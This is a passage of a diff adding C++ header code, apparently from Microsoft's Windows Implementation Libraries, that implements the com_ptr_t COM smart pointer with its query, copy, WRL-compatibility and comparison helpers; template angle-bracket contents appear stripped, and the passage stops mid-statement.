@see put + ::IUnknown** put_unknown() WI_NOEXCEPT + { + return reinterpret_cast<::IUnknown**>(put()); + } + + //! Returns the address of the internal pointer (releases ownership of the pointer BEFORE returning the address). + //! The pointer is explicitly released to prevent accidental leaks of the pointer. Coding standards generally indicate that + //! there is little valid `_Inout_` use of `IInterface**`, making this safe to do under typical use. Since this behavior is not always immediately + //! apparent, prefer to scope variables as close to use as possible (generally avoiding use of the same com_ptr variable in successive calls to + //! receive an output interface). + //! @see addressof + pointer* operator&() WI_NOEXCEPT + { + return put(); + } + + //! Returns the address of the internal pointer (does not release the pointer; should not be used for `_Out_` parameters) + pointer* addressof() WI_NOEXCEPT + { + return &m_ptr; + } + //! @} + + //! @name Inspection + //! @{ + + //! Returns the address of the const internal pointer (does not release the pointer) + const pointer* addressof() const WI_NOEXCEPT + { + return &m_ptr; + } + + //! Returns 'true' if the pointer is assigned (NOT nullptr) + explicit operator bool() const WI_NOEXCEPT + { + return (m_ptr != nullptr); + } + + //! Returns the pointer + pointer get() const WI_NOEXCEPT + { + return m_ptr; + } + + //! Allows direct calls against the pointer (AV on internal nullptr) + pointer operator->() const WI_NOEXCEPT + { + return m_ptr; + } + + //! Dereferences the pointer (AV on internal nullptr) + element_type_reference operator*() const WI_NOEXCEPT + { + return *m_ptr; + } + //! @} + + //! @name Query helpers + //! * Retrieves the requested interface + //! * AV if the pointer is null + //! * Produce an error if the requested interface is unsupported + //! + //! See @ref page_query for more information + //! @{ + + //! Query and return a smart pointer matching the interface specified by 'U': `auto foo = m_ptr.query();`. + //! See @ref page_query for more information. + //! + //! This method is the primary method that should be used to query a com_ptr in exception-based or fail-fast based code. + //! Error-code returning code should use @ref query_to so that the returned HRESULT can be examined. In the following + //! examples, `m_ptr` is an exception-based or fail-fast based com_ptr, com_weak_ref, or com_agile_ref: + //! ~~~~ + //! auto foo = ptr.query(); + //! foo->Method1(); + //! foo->Method2(); + //! ~~~~ + //! For simple single-method calls, this method allows removing the temporary that holds the com_ptr: + //! ~~~~ + //! ptr.query()->Method1(); + //! ~~~~ + //! @tparam U Represents the interface being queried + //! @return A `com_ptr_t` pointer to the given interface `U`. The pointer is guaranteed not null. The returned + //! `com_ptr_t` type will be @ref com_ptr or @ref com_ptr_failfast (matching the error handling form of the + //! pointer being queried (exception based or fail-fast). + template + inline com_ptr_t query() const + { + static_assert(wistd::is_same::value, "query requires exceptions or fail fast; use try_query or query_to"); + return com_ptr_t(m_ptr, details::tag_com_query()); + } + + //! Query for the interface of the given out parameter `U`: `ptr.query_to(&foo);`. + //! See @ref page_query for more information. + //! + //! For fail-fast and exception-based behavior this routine should primarily be used to write to out parameters and @ref query should + //! be used to perform most queries. For error-code based code, this routine is the primary method that should be used to query a com_ptr. + //! + //! Error-code based samples: + //! ~~~~ + //! // class member being queried: + //! wil::com_ptr_nothrow m_ptr; + //! + //! // simple query example: + //! wil::com_ptr_nothrow foo; + //! RETURN_IF_FAILED(m_ptr.query_to(&foo)); + //! foo->FooMethod1(); + //! + //! // output parameter example: + //! HRESULT GetFoo(_COM_Outptr_ IFoo** fooPtr) + //! { + //! RETURN_IF_FAILED(m_ptr.query_to(fooPtr)); + //! return S_OK; + //! } + //! ~~~~ + //! Exception or fail-fast samples: + //! ~~~~ + //! // class member being queried + //! wil::com_ptr m_ptr; + //! + //! void GetFoo(_COM_Outptr_ IFoo** fooPtr) + //! { + //! m_ptr.query_to(fooPtr); + //! } + //! ~~~~ + //! @tparam U Represents the interface being queried (type of the output parameter). This interface does not need to + //! be specified directly. Rely upon template type deduction to pick up the type from the output parameter. + //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure. + //! @return For the nothrow (error code-based) classes (@ref com_ptr_nothrow, @ref com_weak_ref_nothrow, @ref com_agile_ref_nothrow) this + //! method returns an `HRESULT` indicating whether the query was successful. Exception-based and fail-fast based classes + //! do not return a value (void). + template + result query_to(_COM_Outptr_ U** ptrResult) const + { + // Prefast cannot see through the error policy + query_policy mapping and as a result fires 6388 and 28196 for this function. + // Suppression is also not working. Wrapping this entire function in #pragma warning(disable: 6388 28196) does not stop all of the prefast errors + // from being emitted. +#if defined(_PREFAST_) + *ptrResult = nullptr; + return err_policy::HResult(E_NOINTERFACE); +#else + return err_policy::HResult(query_policy::query(m_ptr, ptrResult)); +#endif + } + + //! Query for the requested interface using the iid, ppv pattern: `ptr.query_to(riid, ptr);`. + //! See @ref page_query for more information. + //! + //! This method is built to implement an API boundary that exposes a returned pointer to a caller through the REFIID and void** pointer + //! pattern (like QueryInterface). This pattern should not be used outside of that pattern (through IID_PPV_ARGS) as it is less efficient + //! than the typed version of @ref query_to which can elide the QueryInterface in favor of AddRef when the types are convertible. + //! ~~~~ + //! // class member being queried: + //! wil::com_ptr_nothrow m_ptr; + //! + //! // output parameter example: + //! HRESULT GetFoo(REFIID riid, _COM_Outptr_ void** ptrResult) + //! { + //! RETURN_IF_FAILED(m_ptr.query_to(riid, ptrResult)); + //! return S_OK; + //! } + //! ~~~~ + //! @param riid The interface to query for. + //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure. + //! @return For the nothrow (error code-based) classes (@ref com_ptr_nothrow, @ref com_weak_ref_nothrow, @ref com_agile_ref_nothrow) this + //! method returns an `HRESULT` indicating whether the query was successful. Exception-based and fail-fast based classes + //! do not return a value (void). + result query_to(REFIID riid, _COM_Outptr_ void** ptrResult) const + { + // Prefast cannot see through the error policy + query_policy mapping and as a result and as a result fires 6388 and 28196 for this function. + // Suppression is also not working. Wrapping this entire function in #pragma warning(disable: 6388 28196) does not stop the prefast errors + // from being emitted. +#if defined(_PREFAST_) + *ptrResult = nullptr; + return err_policy::HResult(E_NOINTERFACE); +#else + return err_policy::HResult(query_policy::query(m_ptr, riid, ptrResult)); +#endif + } + //! @} + + //! @name Try query helpers + //! * Attempts to retrieves the requested interface + //! * AV if the pointer is null + //! * Produce null if the requested interface is unsupported + //! * bool returns 'true' when query was successful + //! + //! See @ref page_query for more information. + //! @{ + + //! Attempt a query and return a smart pointer matching the interface specified by 'U': `auto foo = m_ptr.try_query();` (null result when interface is unsupported). + //! See @ref page_query for more information. + //! + //! This method can be used to query a com_ptr for an interface when it's known that support for that interface is + //! optional (failing the query should not produce an error). The caller must examine the returned pointer to see + //! if it's null before using it: + //! ~~~~ + //! auto foo = ptr.try_query(); + //! if (foo) + //! { + //! foo->Method1(); + //! foo->Method2(); + //! } + //! ~~~~ + //! @tparam U Represents the interface being queried + //! @return A `com_ptr_t` pointer to the given interface `U`. The returned pointer will be null if the interface is + //! not supported. The returned `com_ptr_t` will have the same error handling policy (exceptions, failfast or error codes) as + //! the pointer being queried. + template + inline com_ptr_t try_query() const + { + return com_ptr_t(m_ptr, details::tag_try_com_query()); + } + + //! Attempts to query for the interface matching the given output parameter; returns a bool indicating if the query was successful (non-null). + //! See @ref page_query for more information. + //! + //! This method can be used to perform a query against a non-null interface when it's known that support for that interface is + //! optional (failing the query should not produce an error). The caller must examine the returned bool before using the returned pointer. + //! ~~~~ + //! wil::com_ptr_nothrow foo; + //! if (ptr.try_query_to(&foo)) + //! { + //! foo->Method1(); + //! foo->Method2(); + //! } + //! ~~~~ + //! @param ptrResult The pointer to query for. The interface to query is deduced from the type of this out parameter; do not specify + //! the type directly to the template. + //! @return A `bool` indicating `true` of the query was successful (the returned parameter is non-null). + template + _Success_return_ bool try_query_to(_COM_Outptr_ U** ptrResult) const + { + return SUCCEEDED(query_policy::query(m_ptr, ptrResult)); + } + + //! Attempts a query for the requested interface using the iid, ppv pattern: `ptr.try_query_to(riid, ptr);`. + //! See @ref page_query for more information. + //! + //! This method is built to implement an API boundary that exposes a returned pointer to a caller through the REFIID and void** pointer + //! pattern (like QueryInterface). The key distinction is that this routine does not produce an error if the request isn't fulfilled, so + //! it's appropriate for `_COM_Outptr_result_maybenull_` cases. This pattern should not be used outside of that pattern (through IID_PPV_ARGS) as + //! it is less efficient than the typed version of @ref try_query_to which can elide the QueryInterface in favor of AddRef when the types are convertible. + //! The caller must examine the returned bool before using the returned pointer. + //! ~~~~ + //! // class member being queried: + //! wil::com_ptr_nothrow m_ptr; + //! + //! // output parameter example (result may be null): + //! HRESULT GetFoo(REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult) + //! { + //! m_ptr.try_query_to(riid, ptrResult); + //! return S_OK; + //! } + //! ~~~~ + //! @param riid The interface to query for. + //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure. + //! @return A `bool` indicating `true` of the query was successful (the returned parameter is non-null). + _Success_return_ bool try_query_to(REFIID riid, _COM_Outptr_ void** ptrResult) const + { + return SUCCEEDED(query_policy::query(m_ptr, riid, ptrResult)); + } + //! @} + + //! @name Copy helpers + //! * Retrieves the requested interface + //! * Succeeds with null if the pointer is null + //! * Produce an error if the requested interface is unsupported + //! + //! See @ref page_query for more information. + //! @{ + + //! Query and return a smart pointer matching the interface specified by 'U': `auto foo = m_ptr.copy();` (succeeds and returns a null ptr if the queried pointer is null). + //! See @ref page_query for more information. + //! + //! This method is identical to @ref query with the exception that it can be used when the pointer is null. When used + //! against a null pointer, the returned pointer will always be null and an error will not be produced. Like query it will + //! produce an error for a non-null pointer that does not support the requested interface. + //! @tparam U Represents the interface being queried + //! @return A `com_ptr_t` pointer to the given interface `U`. The pointer will be null ONLY if the pointer being queried is null. The returned + //! `com_ptr_t` type will be @ref com_ptr or @ref com_ptr_failfast (matching the error handling form of the + //! pointer being queried (exception based or fail-fast). + template + inline com_ptr_t copy() const + { + static_assert(wistd::is_same::value, "copy requires exceptions or fail fast; use the try_copy or copy_to method"); + return com_ptr_t(m_ptr, details::tag_com_copy()); + } + + //! Query for the interface of the given out parameter `U`: `ptr.copy_to(&foo);` (succeeds and returns null ptr if the queried pointer is null). + //! See @ref page_query for more information. + //! + //! This method is identical to @ref query_to with the exception that it can be used when the pointer is null. When used + //! against a null pointer, the returned pointer will always be null and an error will not be produced. Like query_to it will + //! produce an error for a non-null pointer that does not support the requested interface. + //! @tparam U Represents the interface being queried (type of the output parameter). This interface does not need to + //! be specified directly. Rely upon template type deduction to pick up the type from the output parameter. + //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure OR assigned null + //! when the source pointer is null. + //! @return For the nothrow (error code-based) classes (@ref com_ptr_nothrow, @ref com_weak_ref_nothrow, @ref com_agile_ref_nothrow) this + //! method returns an `HRESULT` indicating whether the query was successful. Copying a null value is considered success. Exception-based + //! and fail-fast based classes do not return a value (void). + template + result copy_to(_COM_Outptr_result_maybenull_ U** ptrResult) const + { + if (m_ptr) + { + // Prefast cannot see through the error policy + query_policy mapping and as a result and as a result fires 6388 and 28196 for this function. + // Suppression is also not working. Wrapping this entire function in #pragma warning(disable: 6388 28196) does not stop the prefast errors + // from being emitted. +#if defined(_PREFAST_) + *ptrResult = nullptr; + return err_policy::HResult(E_NOINTERFACE); +#else + return err_policy::HResult(query_policy::query(m_ptr, ptrResult)); +#endif + } + *ptrResult = nullptr; + return err_policy::OK(); + } + + //! Query for the requested interface using the iid, ppv pattern: `ptr.copy_to(riid, ptr);`. (succeeds and returns null ptr if the queried pointer is null). + //! See @ref page_query for more information. + //! + //! Identical to the corresponding @ref query_to method with the exception that it can be used when the pointer is null. When used + //! against a null pointer, the returned pointer will always be null and an error will not be produced. Like query_to it will + //! produce an error for a non-null pointer that does not support the requested interface. + //! @param riid The interface to query for. + //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure OR assigned null + //! when the source pointer is null. + //! @return For the nothrow (error code-based) classes (@ref com_ptr_nothrow, @ref com_weak_ref_nothrow, @ref com_agile_ref_nothrow) this + //! method returns an `HRESULT` indicating whether the query was successful. Copying a null value is considered success. Exception-based + //! and fail-fast based classes do not return a value (void). + result copy_to(REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult) const + { + if (m_ptr) + { + // Prefast cannot see through the error policy + query_policy mapping and as a result and as a result fires 6388 and 28196 for this function. + // Suppression is also not working. Wrapping this entire function in #pragma warning(disable: 6388 28196) does not stop the prefast errors + // from being emitted. +#if defined(_PREFAST_) + *ptrResult = nullptr; + return err_policy::HResult(E_NOINTERFACE); +#else + return err_policy::HResult(query_policy::query(m_ptr, riid, ptrResult)); +#endif + } + *ptrResult = nullptr; + return err_policy::OK(); + } + //! @} + + //! @name Try copy helpers + //! * Attempts to retrieves the requested interface + //! * Successfully produces null if the queried pointer is already null + //! * Produce null if the requested interface is unsupported + //! * bool returns 'false' ONLY when the queried pointer is not null and the requested interface is unsupported + //! + //! See @ref page_query for more information. + //! @{ + + //! Attempt a query and return a smart pointer matching the interface specified by 'U': `auto foo = m_ptr.try_query();` (null result when interface is unsupported or queried pointer is null). + //! See @ref page_query for more information. + //! + //! Identical to the corresponding @ref try_query method with the exception that it can be used when the pointer is null. When used + //! against a null pointer, the returned pointer will always be null and an error will not be produced. + //! @tparam U Represents the interface being queried + //! @return A `com_ptr_t` pointer to the given interface `U`. The returned pointer will be null if the interface was + //! not supported or the pointer being queried is null. The returned `com_ptr_t` will have the same error handling + //! policy (exceptions, failfast or error codes) as the pointer being queried. + template + inline com_ptr_t try_copy() const + { + return com_ptr_t(m_ptr, details::tag_try_com_copy()); + } + + //! Attempts to query for the interface matching the given output parameter; returns a bool indicating if the query was successful (returns `false` if the pointer is null). + //! See @ref page_query for more information. + //! + //! Identical to the corresponding @ref try_query_to method with the exception that it can be used when the pointer is null. When used + //! against a null pointer, the returned pointer will be null and the return value will be `false`. + //! @param ptrResult The pointer to query for. The interface to query is deduced from the type of this out parameter; do not specify + //! the type directly to the template. + //! @return A `bool` indicating `true` of the query was successful (the returned parameter is non-null). + template + _Success_return_ bool try_copy_to(_COM_Outptr_result_maybenull_ U** ptrResult) const + { + if (m_ptr) + { + return SUCCEEDED(query_policy::query(m_ptr, ptrResult)); + } + *ptrResult = nullptr; + return false; + } + + //! Attempts a query for the requested interface using the iid, ppv pattern: `ptr.try_query_to(riid, ptr);` (returns `false` if the pointer is null) + //! See @ref page_query for more information. + //! + //! Identical to the corresponding @ref try_query_to method with the exception that it can be used when the pointer is null. When used + //! against a null pointer, the returned pointer will be null and the return value will be `false`. + //! @param riid The interface to query for. + //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure or + //! if the source pointer being queried is null. + //! @return A `bool` indicating `true` of the query was successful (the returned parameter is non-null). Querying a null + //! pointer will return `false` with a null result. + _Success_return_ bool try_copy_to(REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult) const + { + if (m_ptr) + { + return SUCCEEDED(query_policy::query(m_ptr, riid, ptrResult)); + } + *ptrResult = nullptr; + return false; + } + //! @} + + //! @name WRL compatibility + //! @{ + + //! Copy construct from a compatible WRL ComPtr. + template > + com_ptr_t(const Microsoft::WRL::ComPtr& other) WI_NOEXCEPT : + com_ptr_t(static_cast(other.Get())) + { + } + + //! Move construct from a compatible WRL ComPtr. + template > + com_ptr_t(Microsoft::WRL::ComPtr&& other) WI_NOEXCEPT : + m_ptr(other.Detach()) + { + } + + //! Assign from a compatible WRL ComPtr. + template > + com_ptr_t& operator=(const Microsoft::WRL::ComPtr& other) WI_NOEXCEPT + { + return operator=(static_cast(other.Get())); + } + + //! Move assign from a compatible WRL ComPtr. + template > + com_ptr_t& operator=(Microsoft::WRL::ComPtr&& other) WI_NOEXCEPT + { + attach(other.Detach()); + return *this; + } + + //! Swap pointers with a WRL ComPtr to the same interface. + void swap(Microsoft::WRL::ComPtr& other) WI_NOEXCEPT + { + auto ptr = m_ptr; + m_ptr = other.Detach(); + other.Attach(ptr); + } + + //! Swap pointers with a rvalue reference to a WRL ComPtr to the same interface. + void swap(Microsoft::WRL::ComPtr&& other) WI_NOEXCEPT + { + swap(other); + } + //! @} // WRL compatibility + + public: + // Internal Helpers + /// @cond + template + inline com_ptr_t(_In_ U* ptr, details::tag_com_query) + { + err_policy::HResult(details::query_policy_t::query(ptr, &m_ptr)); + } + + template + inline com_ptr_t(_In_ U* ptr, details::tag_try_com_query) WI_NOEXCEPT : m_ptr(nullptr) + { + details::query_policy_t::query(ptr, &m_ptr); + } + + template + inline com_ptr_t(_In_opt_ U* ptr, details::tag_com_copy) + { + if (ptr) + { + err_policy::HResult(details::query_policy_t::query(ptr, &m_ptr)); + return; + } + m_ptr = nullptr; + } + + template + inline com_ptr_t(_In_opt_ U* ptr, details::tag_try_com_copy) WI_NOEXCEPT : m_ptr(nullptr) + { + if (ptr) + { + details::query_policy_t::query(ptr, &m_ptr); + } + } + /// @endcond + + private: + pointer m_ptr; + }; + + // Error-policy driven forms of com_ptr + +#ifdef WIL_ENABLE_EXCEPTIONS + //! COM pointer, errors throw exceptions (see @ref com_ptr_t for details) + template + using com_ptr = com_ptr_t; +#endif + + //! COM pointer, errors return error codes (see @ref com_ptr_t for details) + template + using com_ptr_nothrow = com_ptr_t; + + //! COM pointer, errors fail-fast (see @ref com_ptr_t for details) + template + using com_ptr_failfast = com_ptr_t; + + + // Global operators / swap + + //! Swaps the given com pointers that have different error handling. + //! Note that there are also corresponding versions to allow you to swap any wil com_ptr with a WRL ComPtr. + template + inline void swap(com_ptr_t& left, com_ptr_t& right) WI_NOEXCEPT + { + left.swap(right); + } + + //! Swaps the given com pointers that have the same error handling. + template + inline void swap(com_ptr_t& left, com_ptr_t& right) WI_NOEXCEPT + { + left.swap(right); + } + + //! Compare two com pointers. + //! Compares the two raw com pointers for equivalence. Does NOT compare object identity with a QI for IUnknown. + //! + //! Note that documentation for all of the various comparators has not been generated to reduce global function + //! clutter, but ALL standard comparison operators are supported between wil com_ptr objects, nullptr_t, and + //! WRL ComPtr. + template + inline bool operator==(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left.get() == right.get()); + } + + // We don't document all of the global comparison operators (reduce clutter) + /// @cond + template + inline bool operator<(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left.get() < right.get()); + } + + template + inline bool operator==(const com_ptr_t& left, wistd::nullptr_t) WI_NOEXCEPT + { + return (left.get() == nullptr); + } + + template + inline bool operator!=(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT + { return (!(left == right)); } + + template + inline bool operator>=(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT + { return (!(left < right)); } + + template + inline bool operator>(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT + { return (right < left); } + + template + inline bool operator<=(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT + { return (!(right < left)); } + + template + inline bool operator==(wistd::nullptr_t, const com_ptr_t& right) WI_NOEXCEPT + { + return (right.get() == nullptr); + } + + template + inline bool operator!=(const com_ptr_t& left, wistd::nullptr_t) WI_NOEXCEPT + { return (!(left == nullptr)); } + + template + inline bool operator!=(wistd::nullptr_t, const com_ptr_t& right) WI_NOEXCEPT + { return (!(right == nullptr)); } + + // WRL ComPtr support + + template + inline void swap(com_ptr_t& left, Microsoft::WRL::ComPtr& right) WI_NOEXCEPT + { + left.swap(right); + } + + template + inline bool operator==(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left.get() == right.Get()); + } + + template + inline bool operator<(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left.get() < right.Get()); + } + + template + inline bool operator!=(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT + { return (!(left == right)); } + + template + inline bool operator>=(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT + { return (!(left < right)); } + + template + inline bool operator>(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT + { return (right < left); } + + template + inline bool operator<=(const com_ptr_t& left, const Microsoft::WRL::ComPtr& right) WI_NOEXCEPT + { return (!(right < left)); } + + template + inline void swap(Microsoft::WRL::ComPtr& left, com_ptr_t& right) WI_NOEXCEPT + { + right.swap(left); + } + + template + inline bool operator==(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left.Get() == right.get()); + } + + template + inline bool operator<(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left.Get() < right.get()); + } + + template + inline bool operator!=(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT + { return (!(left == right)); } + + template + inline bool operator>=(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT + { return (!(left < right)); } + + template + inline bool operator>(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT + { return (right < left); } + + template + inline bool operator<=(const Microsoft::WRL::ComPtr& left, const com_ptr_t& right) WI_NOEXCEPT + { return (!(right < left)); } + + // raw COM pointer support + // + // Use these for convenience and to avoid unnecessary AddRef/Release cyles when using raw + // pointers to access STL containers. Specify std::less<> to benefit from operator<. + // + // Example: std::set, std::less<>> set; + + template + inline bool operator==(const com_ptr_t& left, TRight* right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left.get() == right); + } + + template + inline bool operator<(const com_ptr_t& left, TRight* right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left.get() < right); + } + + template + inline bool operator!=(const com_ptr_t& left, TRight* right) WI_NOEXCEPT + { return (!(left == right)); } + + template + inline bool operator>=(const com_ptr_t& left, TRight* right) WI_NOEXCEPT + { return (!(left < right)); } + + template + inline bool operator>(const com_ptr_t& left, TRight* right) WI_NOEXCEPT + { return (right < left); } + + template + inline bool operator<=(const com_ptr_t& left, TRight* right) WI_NOEXCEPT + { return (!(right < left)); } + + template + inline bool operator==(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left == right.get()); + } + + template + inline bool operator<(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT + { + static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), "comparison operator requires left and right pointers to be compatible"); + return (left < right.get()); + } + + template + inline bool operator!=(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT + { return (!(left == right)); } + + template + inline bool operator>=(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT + { return (!(left < right)); } + + template + inline bool operator>(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT + { return (right < left); } + + template + inline bool operator<=(TLeft* left, const com_ptr_t& right) WI_NOEXCEPT + { return (!(right < left)); } + + // suppress documentation of every single comparison operator + /// @endcond + + + //! An overloaded function that retrieves the raw com pointer from a raw pointer, wil::com_ptr_t, WRL ComPtr, or Platform::Object^. + //! This function is primarily useful by library or helper code. It allows code to be written to accept a forwarding reference + //! template that can be used as an input com pointer. That input com pointer is allowed to be any of: + //! * Raw Pointer: `T* com_raw_ptr(T* ptr)` + //! * Wil com_ptr: `T* com_raw_ptr(const wil::com_ptr_t& ptr)` + //! * WRL ComPtr: `T* com_raw_ptr(const Microsoft::WRL::ComPtr& ptr)` + //! * C++/CX hat: `IInspectable* com_raw_ptr(Platform::Object^ ptr)` + //! + //! Which in turn allows code like the following to be written: + //! ~~~~ + //! template + //! void com_query_to(T&& ptrSource, _COM_Outptr_ U** ptrResult) + //! { + //! auto raw = com_raw_ptr(wistd::forward(ptrSource)); + //! // decltype(raw) has the type of the inner pointer and raw is guaranteed to be a raw com pointer + //! ~~~~ + template + T* com_raw_ptr(T* ptr) + { + return ptr; + } + + /// @cond + template + T* com_raw_ptr(const wil::com_ptr_t& ptr) + { + return ptr.get(); + } + + template + T* com_raw_ptr(const Microsoft::WRL::ComPtr& ptr) + { + return ptr.Get(); + } + +#ifdef __cplusplus_winrt + + template + inline IInspectable* com_raw_ptr(T^ ptr) + { + return reinterpret_cast(static_cast<::Platform::Object^>(ptr)); + } + +#endif + /// @endcond + + + //! @name Stand-alone query helpers + //! * Source pointer can be raw interface pointer, any wil com_ptr, or WRL ComPtr + //! * Retrieves the requested interface + //! * AV if the source pointer is null + //! * Produce an error if the requested interface is unsupported + //! + //! See @ref page_query for more information + //! @{ + +#ifdef WIL_ENABLE_EXCEPTIONS + //! Queries for the specified interface and returns an exception-based wil::com_ptr to that interface (exception if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer is guaranteed not null. + template + inline com_ptr com_query(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr(raw, details::tag_com_query()); + } +#endif + + //! Queries for the specified interface and returns a fail-fast-based wil::com_ptr_failfast to that interface (fail-fast if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @tparam U Represents the interface being queried + //! @return A `wil::com_ptr` pointer to the given interface `U`. The returned pointer is guaranteed not null. + template + inline com_ptr_failfast com_query_failfast(T&& ptrSource) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + return com_ptr_failfast(raw, details::tag_com_query()); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! Queries for the interface specified by the type of the output parameter (throws an exception if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @param ptrResult Represents the output pointer to populate. The returned pointer is guaranteed not null. + template + _Success_true_ void com_query_to(T&& ptrSource, _COM_Outptr_ U** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + THROW_IF_FAILED(details::query_policy_t::query(raw, ptrResult)); + __analysis_assume(*ptrResult != nullptr); + } +#endif + + //! Queries for the interface specified by the type of the output parameter (fail-fast if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @param ptrResult Represents the output pointer to populate. The returned pointer is guaranteed not null. + template + _Success_true_ void com_query_to_failfast(T&& ptrSource, _COM_Outptr_ U** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + FAIL_FAST_IF_FAILED(details::query_policy_t::query(raw, ptrResult)); + __analysis_assume(*ptrResult != nullptr); + } + + //! Queries for the interface specified by the type of the output parameter (returns an error if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null upon failure. + //! @return Returns an HRESULT representing whether the query succeeded. + template + HRESULT com_query_to_nothrow(T&& ptrSource, _COM_Outptr_ U** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + auto hr = details::query_policy_t::query(raw, ptrResult); + __analysis_assume(SUCCEEDED(hr) || (*ptrResult == nullptr)); + RETURN_HR(hr); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! Queries for the interface specified by the given REFIID parameter (throws an exception if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @param riid The interface to query for + //! @param ptrResult Represents the output pointer to populate. The returned pointer is guaranteed not null. + template + _Success_true_ void com_query_to(T&& ptrSource, REFIID riid, _COM_Outptr_ void** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + THROW_IF_FAILED(details::query_policy_t::query(raw, riid, ptrResult)); + __analysis_assume(*ptrResult != nullptr); + } +#endif + + //! Queries for the interface specified by the given REFIID parameter (fail-fast if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @param riid The interface to query for + //! @param ptrResult Represents the output pointer to populate. The returned pointer is guaranteed not null. + template + _Success_true_ void com_query_to_failfast(T&& ptrSource, REFIID riid, _COM_Outptr_ void** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + FAIL_FAST_IF_FAILED(details::query_policy_t::query(raw, riid, ptrResult)); + __analysis_assume(*ptrResult != nullptr); + } + + //! Queries for the interface specified by the given REFIID parameter (returns an error if unsupported). + //! See @ref page_query for more information. + //! @param ptrSource The pointer to query (may be a raw interface pointer, wil com_ptr, or WRL ComPtr), should not be null + //! @param riid The interface to query for + //! @param ptrResult Represents the output pointer to populate. The returned pointer will be null upon failure. + template + HRESULT com_query_to_nothrow(T&& ptrSource, REFIID riid, _COM_Outptr_ void** ptrResult) + { + auto raw = com_raw_ptr(wistd::forward(ptrSource)); + auto hr = 